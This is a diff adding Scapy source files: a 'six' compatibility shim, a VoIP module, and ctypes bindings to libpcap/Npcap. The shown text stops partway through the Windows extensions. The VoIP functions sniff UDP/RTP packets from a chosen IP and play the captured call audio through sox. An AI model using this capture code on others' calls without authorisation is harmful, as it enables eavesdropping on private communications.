+        for i, arg in enumerate(args):
+            if i:
+                write(sep)
+            write(arg)
+        write(end)
+if sys.version_info[:2] < (3, 3):
+    _print = print_
+
+    def print_(*args, **kwargs):
+        fp = kwargs.get("file", sys.stdout)
+        flush = kwargs.pop("flush", False)
+        _print(*args, **kwargs)
+        if flush and fp is not None:
+            fp.flush()
+
+_add_doc(reraise, """Reraise an exception.""")
+
+if sys.version_info[0:2] < (3, 4):
+    def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
+              updated=functools.WRAPPER_UPDATES):
+        def wrapper(f):
+            f = functools.wraps(wrapped, assigned, updated)(f)
+            f.__wrapped__ = wrapped
+            return f
+        return wrapper
+else:
+    wraps = functools.wraps
+
+
+def with_metaclass(meta, *bases):
+    """Create a base class with a metaclass."""
+    # This requires a bit of explanation: the basic idea is to make a dummy
+    # metaclass for one level of class instantiation that replaces itself with
+    # the actual metaclass.
+    class metaclass(meta):
+
+        def __new__(cls, name, this_bases, d):
+            return meta(name, bases, d)
+    return type.__new__(metaclass, 'temporary_class', (), {})
+
+
+def add_metaclass(metaclass):
+    """Class decorator for creating a class with a metaclass."""
+    def wrapper(cls):
+        orig_vars = cls.__dict__.copy()
+        slots = orig_vars.get('__slots__')
+        if slots is not None:
+            if isinstance(slots, str):
+                slots = [slots]
+            for slots_var in slots:
+                orig_vars.pop(slots_var)
+        orig_vars.pop('__dict__', None)
+        orig_vars.pop('__weakref__', None)
+        return metaclass(cls.__name__, cls.__bases__, orig_vars)
+    return wrapper
+
+
+def python_2_unicode_compatible(klass):
+    """
+    A decorator that defines __unicode__ and __str__ methods under Python 2.
+    Under Python 3 it does nothing.
+
+    To support Python 2 and 3 with a single code base, define a __str__ method
+    returning text and apply this decorator to the class.
+    """
+    if PY2:
+        if '__str__' not in klass.__dict__:
+            raise ValueError("@python_2_unicode_compatible cannot be applied "
+                             "to %s because it doesn't define __str__()." %
+                             klass.__name__)
+        klass.__unicode__ = klass.__str__
+        klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
+    return klass
+
+
+# Complete the moves implementation.
+# This code is at the end of this module to speed up module loading.
+# Turn this module into a package.
+__path__ = []  # required for PEP 302 and PEP 451
+__package__ = __name__  # see PEP 366 @ReservedAssignment
+if globals().get("__spec__") is not None:
+    __spec__.submodule_search_locations = []  # PEP 451 @UndefinedVariable
+# Remove other six meta path importers, since they cause problems. This can
+# happen if six is removed from sys.modules and then reloaded. (Setuptools does
+# this for some reason.)
+if sys.meta_path:
+    for i, importer in enumerate(sys.meta_path):
+        # Here's some real nastiness: Another "instance" of the six module might
+        # be floating around. Therefore, we can't use isinstance() to check for
+        # the six meta path importer, since the other six instance will have
+        # inserted an importer with different class.
+        if (type(importer).__name__ == "_SixMetaPathImporter" and
+                importer.name == __name__):
+            del sys.meta_path[i]
+            break
+    del i, importer
+# Finally, add the importer to the meta path import hook.
+sys.meta_path.append(_importer)
diff --git a/scapy/modules/voip.py b/scapy/modules/voip.py
new file mode 100644
index 0000000..1245cb5
--- /dev/null
+++ b/scapy/modules/voip.py
@@ -0,0 +1,157 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+VoIP (Voice over IP) related functions
+"""
+
+from __future__ import absolute_import
+import os
+###################
+##  Listen VoIP  ##
+###################
+
+from scapy.sendrecv import sniff
+from scapy.layers.inet import IP,UDP
+from scapy.layers.rtp import RTP
+from scapy.consts import WINDOWS
+from scapy.config import conf
+from scapy.modules.six.moves import range
+
+
+sox_base = "sox -t .ul %s - -t ossdsp /dev/dsp"
+
+if WINDOWS:
+    if conf.prog.sox is None:
+        raise OSError("Sox must be installed to play VoIP packets")
+    sox_base = "\"" + conf.prog.sox + "\" -t .ul %s - -t waveaudio"
+
+def _merge_sound_bytes(x,y,sample_size=2):
+    # TODO: find a better way to merge sound bytes
+    # This will only add them one next to each other:
+    # \xff + \xff ==> \xff\xff
+    m = ""
+    ss=sample_size
+    min_ = 0
+    if len(x) >= len(y):
+        min_ = y
+    elif len(x) < len(y):
+        min_ = x
+    r_ = len(min_)
+    for i in range(r_/ss):
+        m += x[ss*i:ss*(i+1)]+y[ss*i:ss*(i+1)]
+    return x[r_:], y[r_:], m
+
+
+def voip_play(s1, lst=None, **kargs):
+    """Play VoIP packets with RAW data that
+    are either sniffed either from an IP, or
+    specified as a list.
+
+    It will play only the incoming packets !
+    
+    :param s1: The IP of the src of all VoIP packets.
+    :param lst: (optional) A list of packets to load
+    :type s1: string
+    :type lst: list
+
+    :Example:
+
+    >>> voip_play("64.2.142.189")
+    while calling '411@ideasip.com'
+
+    >>> voip_play("64.2.142.189", lst)
+    with list a list of packets with VoIP data
+    in their RAW layer
+
+    .. seealso:: voip_play2
+    to play both the outcoming and incoming packets
+    at the same time.
+
+    .. seealso:: voip_play3
+    to read RTP VoIP packets
+    """
+    
+    dsp, rd = os.popen2(sox_base % "")
+    def play(pkt):
+        if not pkt:
+            return 
+        if not pkt.haslayer(UDP) or not pkt.haslayer(IP):
+            return 
+        ip=pkt.getlayer(IP)
+        if s1 == ip.src:
+            dsp.write(pkt.getlayer(conf.raw_layer).load[12:])
+    try:
+        if lst is None:
+            sniff(store=0, prn=play, **kargs)
+        else:
+            for p in lst:
+                play(p)
+    finally:
+        dsp.close()
+        rd.close()
+
+def voip_play1(s1, lst=None, **kargs):
+    """Same than voip_play, backward compatibility
+    """
+    return voip_play(s1, lst, **kargs)
+
+def voip_play2(s1,**kargs):
+    """
+    Same than voip_play, but will play
+    both incoming and outcoming packets.
+    The sound will surely suffer distortion.
+
+    Only supports sniffing.
+
+    .. seealso:: voip_play
+    to play only incoming packets.
+    """
+    dsp,rd = os.popen2(sox_base % "-c 2")
+    global x1, x2
+    x1 = ""
+    x2 = ""
+    def play(pkt):
+        global x1, x2
+        if not pkt:
+            return 
+        if not pkt.haslayer(UDP) or not pkt.haslayer(IP):
+            return 
+        ip=pkt.getlayer(IP)
+        if s1 in [ip.src, ip.dst]:
+            if ip.dst == s1:
+                x1 += pkt.getlayer(conf.raw_layer).load[12:]
+            else:
+                x2 += pkt.getlayer(conf.raw_layer).load[12:]
+            x1, x2, r = _merge_sound_bytes(x1, x2)
+            dsp.write(r)
+            
+    sniff(store=0, prn=play, **kargs)
+
+def voip_play3(lst=None,**kargs):
+    """Same than voip_play, but made to
+    read and play VoIP RTP packets, without
+    checking IP.
+    
+    .. seealso:: voip_play
+    for basic VoIP packets
+    """
+    dsp,rd = os.popen2(sox_base % "")
+    def play(pkt, dsp=dsp):
+        if pkt and pkt.haslayer(UDP) and pkt.haslayer(RTP):
+            dsp.write(pkt.getlayer(RTP).load)
+    try:
+        if lst is None:
+            sniff(store=0, prn=play, **kargs)
+        else:
+            for p in lst:
+                play(p)
+    finally:
+        try:
+            dsp.close()
+            rd.close()
+        except:
+            pass
+
diff --git a/scapy/modules/winpcapy.py b/scapy/modules/winpcapy.py
new file mode 100644
index 0000000..372fef3
--- /dev/null
+++ b/scapy/modules/winpcapy.py
@@ -0,0 +1,742 @@
+# Original license
+#-------------------------------------------------------------------------------
+# Name:        winpcapy.py
+#
+# Author:      Massimo Ciani
+#
+# Created:     01/09/2009
+# Copyright:   (c) Massimo Ciani 2009
+#
+#-------------------------------------------------------------------------------
+# Modified for scapy's usage
+
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## This program is published under a GPLv2 license
+
+from ctypes import *
+from ctypes.util import find_library
+import sys, os
+from scapy.consts import WINDOWS
+
+HAVE_REMOTE=False
+
+if WINDOWS:
+    HAVE_REMOTE=True
+    SOCKET = c_uint
+    npcap_folder = os.environ["WINDIR"] + "\\System32\\Npcap"
+    if os.path.exists(npcap_folder):
+        # Try to load npcap
+        os.environ['PATH'] = npcap_folder + ";" + os.environ['PATH']
+    del npcap_folder
+    _lib=CDLL("wpcap.dll")
+else:
+    SOCKET = c_int
+    _lib_name = find_library("pcap")
+    if not _lib_name:
+        raise OSError("Cannot fine libpcap.so library")
+    _lib=CDLL(_lib_name)
+    
+
+##
+## misc
+##
+u_short = c_ushort
+bpf_int32 = c_int
+u_int = c_int
+bpf_u_int32 = u_int
+pcap = c_void_p
+pcap_dumper = c_void_p
+u_char = c_ubyte
+FILE = c_void_p
+STRING = c_char_p
+
+class bpf_insn(Structure):
+    _fields_=[("code",c_ushort),
+              ("jt",c_ubyte),
+              ("jf",c_ubyte),
+              ("k",bpf_u_int32)]
+    
+class bpf_program(Structure):
+    pass
+bpf_program._fields_ = [('bf_len', u_int),
+                        ('bf_insns', POINTER(bpf_insn))]
+
+class bpf_version(Structure):
+    _fields_=[("bv_major",c_ushort),
+              ("bv_minor",c_ushort)]
+
+
+class timeval(Structure):
+    pass
+timeval._fields_ = [('tv_sec', c_long),
+                    ('tv_usec', c_long)]
+
+## sockaddr is used by pcap_addr.
+## For example if sa_family==socket.AF_INET then we need cast
+## with sockaddr_in 
+if WINDOWS:
+    class sockaddr(Structure):
+        _fields_ = [("sa_family", c_ushort),
+                    ("sa_data",c_ubyte * 14)]
+
+    class sockaddr_in(Structure):
+        _fields_ = [("sin_family", c_ushort),
+                    ("sin_port", c_uint16),
+                    ("sin_addr", 4 * c_ubyte)]
+
+    class sockaddr_in6(Structure):
+        _fields_ = [("sin6_family", c_ushort),
+                    ("sin6_port", c_uint16),
+                    ("sin6_flowinfo", c_uint32),
+                    ("sin6_addr", 16 * c_ubyte),
+                    ("sin6_scope", c_uint32)]
+else:
+    class sockaddr(Structure):
+        _fields_ = [("sa_len", c_ubyte),
+                    ("sa_family",c_ubyte),
+                    ("sa_data",c_ubyte * 14)]
+
+    class sockaddr_in(Structure):
+        _fields_ = [("sin_len", c_ubyte),
+                    ("sin_family", c_ubyte),
+                    ("sin_port", c_uint16),
+                    ("sin_addr", 4 * c_ubyte),
+                    ("sin_zero", 8 * c_char)]
+
+    class sockaddr_in6(Structure):
+        _fields_ = [("sin6_len", c_ubyte),
+                    ("sin6_family", c_ubyte),
+                    ("sin6_port", c_uint16),
+                    ("sin6_flowinfo", c_uint32),
+                    ("sin6_addr", 16 * c_ubyte),
+                    ("sin6_scope", c_uint32)]
+
+    class sockaddr_dl(Structure):
+        _fields_ = [("sdl_len", c_ubyte),
+                    ("sdl_family", c_ubyte),
+                    ("sdl_index", c_ushort),
+                    ("sdl_type", c_ubyte),
+                    ("sdl_nlen", c_ubyte),
+                    ("sdl_alen", c_ubyte),
+                    ("sdl_slen", c_ubyte),
+                    ("sdl_data", 46 * c_ubyte)]
+##
+## END misc
+##
+
+##
+## Data Structures
+##
+
+## struct   pcap_file_header
+##  Header of a libpcap dump file.
+class pcap_file_header(Structure):
+    _fields_ = [('magic', bpf_u_int32),
+                ('version_major', u_short),
+                ('version_minor', u_short),
+                ('thiszone', bpf_int32),
+                ('sigfigs', bpf_u_int32),
+                ('snaplen', bpf_u_int32),
+                ('linktype', bpf_u_int32)]
+
+## struct   pcap_pkthdr
+##  Header of a packet in the dump file.
+class pcap_pkthdr(Structure):
+    _fields_ = [('ts', timeval),
+                ('caplen', bpf_u_int32),
+                ('len', bpf_u_int32)]
+
+## struct   pcap_stat
+##  Structure that keeps statistical values on an interface.
+class pcap_stat(Structure):
+    pass
+### _fields_ list in Structure is final.
+### We need a temp list
+_tmpList = [("ps_recv", c_uint), ("ps_drop", c_uint), ("ps_ifdrop", c_uint)]
+if HAVE_REMOTE:
+    _tmpList.append(("ps_capt",c_uint))
+    _tmpList.append(("ps_sent",c_uint))
+    _tmpList.append(("ps_netdrop",c_uint))
+pcap_stat._fields_=_tmpList
+
+## struct   pcap_addr
+##  Representation of an interface address, used by pcap_findalldevs().
+class pcap_addr(Structure):
+    pass
+pcap_addr._fields_ = [('next', POINTER(pcap_addr)),
+                      ('addr', POINTER(sockaddr)),
+                      ('netmask', POINTER(sockaddr)),
+                      ('broadaddr', POINTER(sockaddr)),
+                      ('dstaddr', POINTER(sockaddr))]
+
+## struct   pcap_if
+##  Item in a list of interfaces, used by pcap_findalldevs().
+class pcap_if(Structure):
+    pass
+pcap_if._fields_ = [('next', POINTER(pcap_if)),
+                    ('name', STRING),
+                    ('description', STRING),
+                    ('addresses', POINTER(pcap_addr)),
+                    ('flags', bpf_u_int32)]
+
+##
+## END Data Structures
+##
+
+##
+## Defines
+##
+
+##define  PCAP_VERSION_MAJOR   2
+#   Major libpcap dump file version.
+PCAP_VERSION_MAJOR = 2 
+##define  PCAP_VERSION_MINOR   4
+#   Minor libpcap dump file version.
+PCAP_VERSION_MINOR = 4 
+##define  PCAP_ERRBUF_SIZE   256
+#   Size to use when allocating the buffer that contains the libpcap errors.
+PCAP_ERRBUF_SIZE = 256 
+##define  PCAP_IF_LOOPBACK   0x00000001
+#   interface is loopback
+PCAP_IF_LOOPBACK = 1 
+##define  MODE_CAPT   0
+#   Capture mode, to be used when calling pcap_setmode().
+MODE_CAPT = 0
+##define  MODE_STAT   1
+#   Statistical mode, to be used when calling pcap_setmode().
+MODE_STAT = 1
+
+##
+## END Defines
+##
+
+##
+## Typedefs
+##
+
+#typedef int  bpf_int32 (already defined)
+#   32-bit integer
+#typedef u_int  bpf_u_int32 (already defined)
+#   32-bit unsigned integer
+#typedef struct pcap  pcap_t
+#   Descriptor of an open capture instance. This structure is opaque to the user, that handles its content through the functions provided by wpcap.dll.
+pcap_t = pcap
+#typedef struct pcap_dumper   pcap_dumper_t
+#   libpcap savefile descriptor.
+pcap_dumper_t = pcap_dumper
+#typedef struct pcap_if   pcap_if_t
+#   Item in a list of interfaces, see pcap_if.
+pcap_if_t = pcap_if
+#typedef struct pcap_addr   pcap_addr_t
+#   Representation of an interface address, see pcap_addr.
+pcap_addr_t = pcap_addr
+
+##
+## END Typedefs
+##
+
+
+
+
+
+# values for enumeration 'pcap_direction_t'
+#pcap_direction_t = c_int # enum
+
+##
+## Unix-compatible Functions
+## These functions are part of the libpcap library, and therefore work both on Windows and on Linux. 
+##
+
+#typedef void(* pcap_handler )(u_char *user, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data)
+#   Prototype of the callback function that receives the packets.
+## This one is defined from programmer
+pcap_handler=CFUNCTYPE(None,POINTER(c_ubyte),POINTER(pcap_pkthdr),POINTER(c_ubyte))
+
+#pcap_t *   pcap_open_live (const char *device, int snaplen, int promisc, int to_ms, char *ebuf)
+#   Open a live capture from the network.
+pcap_open_live = _lib.pcap_open_live
+pcap_open_live.restype = POINTER(pcap_t)
+pcap_open_live.argtypes = [STRING, c_int, c_int, c_int, STRING]
+
+#pcap_t *   pcap_open_dead (int linktype, int snaplen)
+#   Create a pcap_t structure without starting a capture.
+pcap_open_dead = _lib.pcap_open_dead
+pcap_open_dead.restype = POINTER(pcap_t)
+pcap_open_dead.argtypes = [c_int, c_int]
+
+#pcap_t *   pcap_open_offline (const char *fname, char *errbuf)
+#   Open a savefile in the tcpdump/libpcap format to read packets.
+pcap_open_offline = _lib.pcap_open_offline
+pcap_open_offline.restype = POINTER(pcap_t)
+pcap_open_offline.argtypes = [STRING, STRING]
+
+#pcap_dumper_t *   pcap_dump_open (pcap_t *p, const char *fname)
+#   Open a file to write packets.
+pcap_dump_open = _lib.pcap_dump_open
+pcap_dump_open.restype = POINTER(pcap_dumper_t)
+pcap_dump_open.argtypes = [POINTER(pcap_t), STRING]
+
+#int pcap_setnonblock (pcap_t *p, int nonblock, char *errbuf)
+#   Switch between blocking and nonblocking mode.
+pcap_setnonblock = _lib.pcap_setnonblock
+pcap_setnonblock.restype = c_int
+pcap_setnonblock.argtypes = [POINTER(pcap_t), c_int, STRING]
+
+#int pcap_getnonblock (pcap_t *p, char *errbuf)
+#   Get the "non-blocking" state of an interface.
+pcap_getnonblock = _lib.pcap_getnonblock
+pcap_getnonblock.restype = c_int
+pcap_getnonblock.argtypes = [POINTER(pcap_t), STRING]
+
+#int pcap_findalldevs (pcap_if_t **alldevsp, char *errbuf)
+#   Construct a list of network devices that can be opened with pcap_open_live().
+pcap_findalldevs = _lib.pcap_findalldevs
+pcap_findalldevs.restype = c_int
+pcap_findalldevs.argtypes = [POINTER(POINTER(pcap_if_t)), STRING]
+
+#void pcap_freealldevs (pcap_if_t *alldevsp)
+#   Free an interface list returned by pcap_findalldevs().
+pcap_freealldevs = _lib.pcap_freealldevs
+pcap_freealldevs.restype = None
+pcap_freealldevs.argtypes = [POINTER(pcap_if_t)]
+
+#char *   pcap_lookupdev (char *errbuf)
+#   Return the first valid device in the system.
+pcap_lookupdev = _lib.pcap_lookupdev
+pcap_lookupdev.restype = STRING
+pcap_lookupdev.argtypes = [STRING]
+
+#int pcap_lookupnet (const char *device, bpf_u_int32 *netp, bpf_u_int32 *maskp, char *errbuf)
+#   Return the subnet and netmask of an interface.
+pcap_lookupnet = _lib.pcap_lookupnet
+pcap_lookupnet.restype = c_int
+pcap_lookupnet.argtypes = [STRING, POINTER(bpf_u_int32), POINTER(bpf_u_int32), STRING]
+
+#int pcap_dispatch (pcap_t *p, int cnt, pcap_handler callback, u_char *user)
+#   Collect a group of packets.
+pcap_dispatch = _lib.pcap_dispatch
+pcap_dispatch.restype = c_int
+pcap_dispatch.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)]
+
+#int pcap_loop (pcap_t *p, int cnt, pcap_handler callback, u_char *user)
+#   Collect a group of packets.
+pcap_loop = _lib.pcap_loop
+pcap_loop.restype = c_int
+pcap_loop.argtypes = [POINTER(pcap_t), c_int, pcap_handler, POINTER(u_char)]
+
+#u_char *   pcap_next (pcap_t *p, struct pcap_pkthdr *h)
+#   Return the next available packet.
+pcap_next = _lib.pcap_next
+pcap_next.restype = POINTER(u_char)
+pcap_next.argtypes = [POINTER(pcap_t), POINTER(pcap_pkthdr)]
+
+#int pcap_next_ex (pcap_t *p, struct pcap_pkthdr **pkt_header, const u_char **pkt_data)
+#   Read a packet from an interface or from an offline capture.
+pcap_next_ex = _lib.pcap_next_ex
+pcap_next_ex.restype = c_int
+pcap_next_ex.argtypes = [POINTER(pcap_t), POINTER(POINTER(pcap_pkthdr)), POINTER(POINTER(u_char))]
+
+#void pcap_breakloop (pcap_t *)
+#   set a flag that will force pcap_dispatch() or pcap_loop() to return rather than looping.
+pcap_breakloop = _lib.pcap_breakloop
+pcap_breakloop.restype = None
+pcap_breakloop.argtypes = [POINTER(pcap_t)]
+
+#int pcap_sendpacket (pcap_t *p, u_char *buf, int size)
+#   Send a raw packet.
+pcap_sendpacket = _lib.pcap_sendpacket
+pcap_sendpacket.restype = c_int
+#pcap_sendpacket.argtypes = [POINTER(pcap_t), POINTER(u_char), c_int]
+pcap_sendpacket.argtypes = [POINTER(pcap_t), c_void_p, c_int]
+
+#void pcap_dump (u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
+#   Save a packet to disk.
+pcap_dump = _lib.pcap_dump
+pcap_dump.restype = None
+pcap_dump.argtypes = [POINTER(pcap_dumper_t), POINTER(pcap_pkthdr), POINTER(u_char)]
+
+#long pcap_dump_ftell (pcap_dumper_t *)
+#   Return the file position for a "savefile".
+pcap_dump_ftell = _lib.pcap_dump_ftell
+pcap_dump_ftell.restype = c_long
+pcap_dump_ftell.argtypes = [POINTER(pcap_dumper_t)]
+
+#int pcap_compile (pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)
+#   Compile a packet filter, converting an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine.
+pcap_compile = _lib.pcap_compile
+pcap_compile.restype = c_int
+pcap_compile.argtypes = [POINTER(pcap_t), POINTER(bpf_program), STRING, c_int, bpf_u_int32]
+
+#int pcap_compile_nopcap (int snaplen_arg, int linktype_arg, struct bpf_program *program, char *buf, int optimize, bpf_u_int32 mask)
+#   Compile a packet filter without the need of opening an adapter. This function converts an high level filtering expression (see Filtering expression syntax) in a program that can be interpreted by the kernel-level filtering engine.
+pcap_compile_nopcap = _lib.pcap_compile_nopcap
+pcap_compile_nopcap.restype = c_int
+pcap_compile_nopcap.argtypes = [c_int, c_int, POINTER(bpf_program), STRING, c_int, bpf_u_int32]
+
+#int pcap_setfilter (pcap_t *p, struct bpf_program *fp)
+#   Associate a filter to a capture.
+pcap_setfilter = _lib.pcap_setfilter
+pcap_setfilter.restype = c_int
+pcap_setfilter.argtypes = [POINTER(pcap_t), POINTER(bpf_program)]
+
+#void pcap_freecode (struct bpf_program *fp)
+#   Free a filter.
+pcap_freecode = _lib.pcap_freecode
+pcap_freecode.restype = None
+pcap_freecode.argtypes = [POINTER(bpf_program)]
+
+#int pcap_datalink (pcap_t *p)
+#   Return the link layer of an adapter.
+pcap_datalink = _lib.pcap_datalink
+pcap_datalink.restype = c_int
+pcap_datalink.argtypes = [POINTER(pcap_t)]
+
+#int pcap_list_datalinks (pcap_t *p, int **dlt_buf)
+#   list datalinks
+pcap_list_datalinks = _lib.pcap_list_datalinks
+pcap_list_datalinks.restype = c_int
+#pcap_list_datalinks.argtypes = [POINTER(pcap_t), POINTER(POINTER(c_int))]
+
+#int pcap_set_datalink (pcap_t *p, int dlt)
+#   Set the current data link type of the pcap descriptor to the type specified by dlt. -1 is returned on failure.
+pcap_set_datalink = _lib.pcap_set_datalink
+pcap_set_datalink.restype = c_int
+pcap_set_datalink.argtypes = [POINTER(pcap_t), c_int]
+
+#int pcap_datalink_name_to_val (const char *name)
+#   Translates a data link type name, which is a DLT_ name with the DLT_ removed, to the corresponding data link type value. The translation is case-insensitive. -1 is returned on failure.
+pcap_datalink_name_to_val = _lib.pcap_datalink_name_to_val
+pcap_datalink_name_to_val.restype = c_int
+pcap_datalink_name_to_val.argtypes = [STRING]
+
+#const char *   pcap_datalink_val_to_name (int dlt)
+#   Translates a data link type value to the corresponding data link type name. NULL is returned on failure.
+pcap_datalink_val_to_name = _lib.pcap_datalink_val_to_name
+pcap_datalink_val_to_name.restype = STRING
+pcap_datalink_val_to_name.argtypes = [c_int]
+
+#const char *   pcap_datalink_val_to_description (int dlt)
+#   Translates a data link type value to a short description of that data link type. NULL is returned on failure.
+pcap_datalink_val_to_description = _lib.pcap_datalink_val_to_description
+pcap_datalink_val_to_description.restype = STRING
+pcap_datalink_val_to_description.argtypes = [c_int]
+
+#int pcap_snapshot (pcap_t *p)
+#   Return the dimension of the packet portion (in bytes) that is delivered to the application.
+pcap_snapshot = _lib.pcap_snapshot
+pcap_snapshot.restype = c_int
+pcap_snapshot.argtypes = [POINTER(pcap_t)]
+
+#int pcap_is_swapped (pcap_t *p)
+#   returns true if the current savefile uses a different byte order than the current system.
+pcap_is_swapped = _lib.pcap_is_swapped
+pcap_is_swapped.restype = c_int
+pcap_is_swapped.argtypes = [POINTER(pcap_t)]
+
+#int pcap_major_version (pcap_t *p)
+#   return the major version number of the pcap library used to write the savefile.
+pcap_major_version = _lib.pcap_major_version
+pcap_major_version.restype = c_int
+pcap_major_version.argtypes = [POINTER(pcap_t)]
+
+#int pcap_minor_version (pcap_t *p)
+#   return the minor version number of the pcap library used to write the savefile.
+pcap_minor_version = _lib.pcap_minor_version
+pcap_minor_version.restype = c_int
+pcap_minor_version.argtypes = [POINTER(pcap_t)]
+
+#FILE *   pcap_file (pcap_t *p)
+#   Return the standard stream of an offline capture.
+pcap_file=_lib.pcap_file
+pcap_file.restype = FILE
+pcap_file.argtypes = [POINTER(pcap_t)]
+
+#int pcap_stats (pcap_t *p, struct pcap_stat *ps)
+#   Return statistics on current capture.
+pcap_stats = _lib.pcap_stats
+pcap_stats.restype = c_int
+pcap_stats.argtypes = [POINTER(pcap_t), POINTER(pcap_stat)]
+
+#void pcap_perror (pcap_t *p, char *prefix)
+#   print the text of the last pcap library error on stderr, prefixed by prefix.
+pcap_perror = _lib.pcap_perror
+pcap_perror.restype = None
+pcap_perror.argtypes = [POINTER(pcap_t), STRING]
+
+#char *   pcap_geterr (pcap_t *p)
+#   return the error text pertaining to the last pcap library error.
+pcap_geterr = _lib.pcap_geterr
+pcap_geterr.restype = STRING
+pcap_geterr.argtypes = [POINTER(pcap_t)]
+
+#char *   pcap_strerror (int error)
+#   Provided in case strerror() isn't available.
+pcap_strerror = _lib.pcap_strerror
+pcap_strerror.restype = STRING
+pcap_strerror.argtypes = [c_int]
+
+#const char *   pcap_lib_version (void)
+#   Returns a pointer to a string giving information about the version of the libpcap library being used; note that it contains more information than just a version number.
+pcap_lib_version = _lib.pcap_lib_version
+pcap_lib_version.restype = STRING
+pcap_lib_version.argtypes = []
+
+#void pcap_close (pcap_t *p)
+#   close the files associated with p and deallocates resources.
+pcap_close = _lib.pcap_close
+pcap_close.restype = None
+pcap_close.argtypes = [POINTER(pcap_t)]
+
+#FILE *   pcap_dump_file (pcap_dumper_t *p)
+#   return the standard I/O stream of the 'savefile' opened by pcap_dump_open().
+pcap_dump_file=_lib.pcap_dump_file
+pcap_dump_file.restype=FILE
+pcap_dump_file.argtypes= [POINTER(pcap_dumper_t)]
+
+#int pcap_dump_flush (pcap_dumper_t *p)
+#   Flushes the output buffer to the ``savefile,'' so that any packets written with pcap_dump() but not yet written to the ``savefile'' will be written. -1 is returned on error, 0 on success.
+pcap_dump_flush = _lib.pcap_dump_flush
+pcap_dump_flush.restype = c_int
+pcap_dump_flush.argtypes = [POINTER(pcap_dumper_t)]
+
+#void pcap_dump_close (pcap_dumper_t *p)
+#   Closes a savefile. 
+pcap_dump_close = _lib.pcap_dump_close
+pcap_dump_close.restype = None
+pcap_dump_close.argtypes = [POINTER(pcap_dumper_t)]
+
+if not WINDOWS:
+    #int pcap_get_selectable_fd(pcap_t, *p)
+    #   Returns, on UNIX, a file descriptor number for a file descriptor on which one can do a select(), poll(). -1 is returned if no such descriptor exists.
+    pcap_get_selectable_fd = _lib.pcap_get_selectable_fd
+    pcap_get_selectable_fd.restype = c_int    
+    pcap_get_selectable_fd.argtypes = [POINTER(pcap_t)]
+
+###########################################
+## Windows-specific Extensions
+## The functions in this section extend libpcap to offer advanced functionalities
+## (like remote packet capture, packet buffer size variation or high-precision packet injection).
+## Howerver, at the moment they can be used only in Windows.
+###########################################
+if WINDOWS:
+    HANDLE = c_void_p
+    
+    ##############
+    ## Identifiers related to the new source syntax
+    ##############
+    #define   PCAP_SRC_FILE   2
+    #define   PCAP_SRC_IFLOCAL   3
+    #define   PCAP_SRC_IFREMOTE   4
+    #Internal representation of the type of source in use (file, remote/local interface).
+    PCAP_SRC_FILE = 2
+    PCAP_SRC_IFLOCAL = 3
+    PCAP_SRC_IFREMOTE = 4
+    
+    ##############
+    ## Strings related to the new source syntax
+    ##############
+    #define   PCAP_SRC_FILE_STRING   "file://"
+    #define   PCAP_SRC_IF_STRING   "rpcap://"
+    #String that will be used to determine the type of source in use (file, remote/local interface).
+    PCAP_SRC_FILE_STRING="file://"
+    PCAP_SRC_IF_STRING="rpcap://"
+    
+    ##############
+    ## Flags defined in the pcap_open() function
+    ##############
+    # define  PCAP_OPENFLAG_PROMISCUOUS   1
+    #   Defines if the adapter has to go in promiscuous mode.
+    PCAP_OPENFLAG_PROMISCUOUS=1
+    # define  PCAP_OPENFLAG_DATATX_UDP   2
+    #   Defines if the data transfer (in case of a remote capture) has to be done with UDP protocol.
+    PCAP_OPENFLAG_DATATX_UDP=2
+    # define  PCAP_OPENFLAG_NOCAPTURE_RPCAP   4
+    PCAP_OPENFLAG_NOCAPTURE_RPCAP=4
+    #   Defines if the remote probe will capture its own generated traffic.
+    # define  PCAP_OPENFLAG_NOCAPTURE_LOCAL   8
+    PCAP_OPENFLAG_NOCAPTURE_LOCAL = 8
+    # define  PCAP_OPENFLAG_MAX_RESPONSIVENESS   16
+    #   This flag configures the adapter for maximum responsiveness.
+    PCAP_OPENFLAG_MAX_RESPONSIVENESS=16
+    
+    ##############
+    ## Sampling methods defined in the pcap_setsampling() function
+    ##############
+    # define  PCAP_SAMP_NOSAMP   0
+    # No sampling has to be done on the current capture.
+    PCAP_SAMP_NOSAMP=0
+    # define  PCAP_SAMP_1_EVERY_N   1
+    # It defines that only 1 out of N packets must be returned to the user.
+    PCAP_SAMP_1_EVERY_N=1
+    #define   PCAP_SAMP_FIRST_AFTER_N_MS   2
+    # It defines that we have to return 1 packet every N milliseconds.
+    PCAP_SAMP_FIRST_AFTER_N_MS=2
+    
+    ##############
+    ## Authentication methods supported by the RPCAP protocol
+    ##############
+    # define  RPCAP_RMTAUTH_NULL   0
+    # It defines the NULL authentication.
+    RPCAP_RMTAUTH_NULL=0
+    # define  RPCAP_RMTAUTH_PWD   1
+    # It defines the username/password authentication.
+    RPCAP_RMTAUTH_PWD=1
+    
+
+    ##############
+    ## Remote struct and defines
+    ##############
+    # define  PCAP_BUF_SIZE   1024
+    # Defines the maximum buffer size in which address, port, interface names are kept.
+    PCAP_BUF_SIZE = 1024
+    # define  RPCAP_HOSTLIST_SIZE   1024
+    # Maximum length of an host name (needed for the RPCAP active mode).
+    RPCAP_HOSTLIST_SIZE = 1024
+    
+    class pcap_send_queue(Structure):
+        _fields_=[("maxlen",c_uint),
+                  ("len",c_uint),
+                  ("buffer",c_char_p)]
+        
+    ## struct   pcap_rmtauth
+    ## This structure keeps the information needed to autheticate the user on a remote machine
+    class pcap_rmtauth(Structure):
+        _fields_=[("type",c_int),
+                  ("username",c_char_p),
+                  ("password",c_char_p)]
+    
+    ## struct   pcap_samp
+    ## This structure defines the information related to sampling    
+    class pcap_samp(Structure):
+        _fields_=[("method",c_int),
+                  ("value",c_int)]
+
+    #PAirpcapHandle   pcap_get_airpcap_handle (pcap_t *p)
+    #   Returns the AirPcap handler associated with an adapter. This handler can be used to change the wireless-related settings of the CACE Technologies AirPcap wireless capture adapters.
+    
